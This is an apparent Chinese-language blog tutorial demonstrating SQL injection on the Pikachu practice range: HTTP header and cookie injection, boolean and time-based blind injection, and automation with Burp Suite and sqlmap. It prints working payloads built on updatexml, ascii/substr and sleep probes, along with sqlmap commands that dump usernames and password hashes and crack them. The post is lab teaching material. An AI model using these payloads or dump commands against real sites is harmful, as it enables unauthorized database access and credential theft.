WEB应用(十)---SQL注入

今天我们看一下http header注入

可以看到这是一个登录界面,点一下提示,得到账号密码,

登录后显示我们的各种信息,当我们输入了账号密码,后端为了确认我们的身份信息,会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞

 这里我抓包给大家演示,从上面和下面,可以看出返回的页面获取了我们的user-agent字段等,多以我们就可利用这个字段了进行注入

我们先把该字段的内容全部删掉,输入一个单引号

 很明显,这里存在sql注入漏洞,依据昨天的方法,构造闭合payload:

1' or updatexml (1,concat(0x7e,database()),0) or '     ,成功的到我们想要的信息

在进行前端页面跳转时客户端会进行cookie校验,所以我们还可以进行对cookie进行注,payload:

admin' and updatexml(1,concat(0x7e,database()),0)#

 依据pikachu靶场,接下拉我们就到了盲注

盲注分为俩种:

  1. boolean(布尔)盲注
  2. time(时间)盲注

首先我们来看看布尔盲注,特点:

  • 没有报错信息显示
  • 正确的输入还是错误的输入,只显示了俩种情况
  • 在正确的输入下,输入and 1=1/and 1=2可以判断

我先来简单演示一下,一会将原理。输入vince,这是数据库中有的用户,返回了对应的信息

输入xxx

输入vince' or 1=1 #,界面同上,输入vince' and 1=1#,则会输入对应的信息,输入vince' and 1=2#,同样用户不存在,我们再试试1' or updatexml (1,concat(0x7e,database()),0) or ',同样用户不存在

可以看出,正确会显示用户信息,错误,显示用户不存在,再无其他返回

那么我们该怎么操作呢

我们先查询数据库,并且查出第一个字符

再将它转换成ASCII

这样输入我们是看不到数值的,就要进行判断,猜,返回为0,即错误,通时我们到靶场里演示

payload:kobe' and ascii(substr(database(),1,1))>113#

这里我们就是不断的去猜测,不断地去试,到这我们就可以猜到等于112

payload:kobe' and ascii(substr(database(),1,1))>111#

但是我们不知道返回的字符串有多长,就要用到length()函数

同样我们需要去猜

payload:kobe' and length(database())>6#

同样去得出表名就是将database(),替换成其他的查询语句

payload:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1))>110#             m的ASCII是109

接下来是时间盲注

这里我们发现不管我们提交的是正确的还是错误的,都只返回一个页面

这时候我们是不是没有办法了呢,当然不是啊,先展示payload:

kobe' and if((substr(database(),1,1))='a',sleep(5),null)#

给大家解释一下,if()函数,第一个参数是判断语句,如果正确,执行第二个,反之执行第三个,sleep()函数其中的参数是5,当然也可以是其他的,当前面的语句正确,页面会在5秒后返回,大家可以实践看看,我们所修改的就是a,替换其他字符,当替换成p时,我们可以很明显的看到页面过了一会 才返回结果

可以看到SQL注入手注有时候十分麻烦且费时间,这时在我们理解了原理的基础上就可以使用工具来帮助我们去进行SQL注入,我这里只介绍俩个:

  1. burp suite(半自动)
  2. sqlmap(全自动)

这俩工具去哪里下呢,可以选择使用kali,它里面自带了许多的工具,其中就包括,burp suite和sqlmap,kali的安装可以看我往期博客,里有写

BURP SUITE工具

我们还是用字符型注入来演示,抓包,发送到intruder,进行暴力破解数据库里的表

payload:kobe' and exists(select * from aa)#

 

我们看到当这个表不存在时,后面会有doesn't exist,这里就可以做一个匹配

 

可以攻击了,我们可以看到member是正确的表,所以其他的都返回了1,唯独他没有,即member是正确的

依据这个原理,我们就可以爆破出其他的表,和字段数据

SQLMAP工具

sqlmap的功能十分强大,用法也很多,我们这里只做一些简单演示

之前我们对盲注很是头疼,现在我们就可以直接秒

在使用工具之前我们得确定虚拟机是可以,ping通物理机,因为我的靶场搭在了物理机,如果你的靶场搭在了其他的虚拟机里,那么kali必须可以ping通那台虚拟机

在输入网址之前我们需要输入一点东西,这里我输入111,然后查询

sqlmap.py -u "网址"    这一条命令可以检测是否有SQL注入漏洞

其中出现了许多询问,自行解决

 运行结束后会有个结论,说明了注入点是name,第一个是,基于时间的盲注,我们明明弄的是布尔盲注,不懂

第二个是联合查询,并且都有一个payload去证明漏洞存在

 sqlmap.py -u "网址"  --current-db 这个用来爆出数据库名称,这个过程很快

获取表的名称

sqlmap.py -u "网址" -D pikachu --tables

获取字段名

sqlmap.py -u "网址" -D pikachu -T member --columns

最后获取数据    -C 指定字段

sqlmap.py -u "网址" -D pikachu -T member -C username,pw --dump

他发现pw字段的内容,经过hash加密,当然这个工具可以进行解密

这个意思就是保存在一个文件中后续使用其他的工具去处理,我选择n

 是否通过字典的方式进行暴力破解,y

1是自带的字典,2是自定义的字典,3是自定义的文件,我们选1就行

 使用密码后缀的方式进行匹配,这种方式比较慢,但是比较准确,这里我选n

最终结果

 

关于SQL注入的内容我们先学到这里,其他的注入类型我们日后再去学习

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值